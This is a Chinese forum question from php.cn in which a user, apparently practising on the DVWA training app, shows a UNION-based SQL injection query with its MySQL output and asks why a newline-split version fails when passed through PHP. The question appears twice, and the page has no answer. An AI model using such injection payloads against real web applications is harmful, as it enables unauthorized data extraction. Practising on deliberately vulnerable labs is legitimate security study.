mysql "PAGER set to stdout" 怎么取出数据

WBOY
Release: 2016-06-06 20:12:53
Original
2972 people have browsed it

mysql> select user,password from users where user_id=-1 union select user(),database() from\nusers;

PAGER set to stdout
user password
+----------------+----------+
root@localhost dvwa

1 row in set (0.00 sec)

想通过加\n能取出数据,在mysql下执行会得到。但是在php中执行,外部接受这个\n参数再执行却取不到,求解,是什么问题?

mysql

回复内容:

mysql> select user,password from users where user_id=-1 union select user(),database() from\nusers;

PAGER set to stdout
user password
+----------------+----------+
root@localhost dvwa

1 row in set (0.00 sec)

想通过加\n能取出数据,在mysql下执行会得到。但是在php中执行,外部接受这个\n参数再执行却取不到,求解,是什么问题?

mysql

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!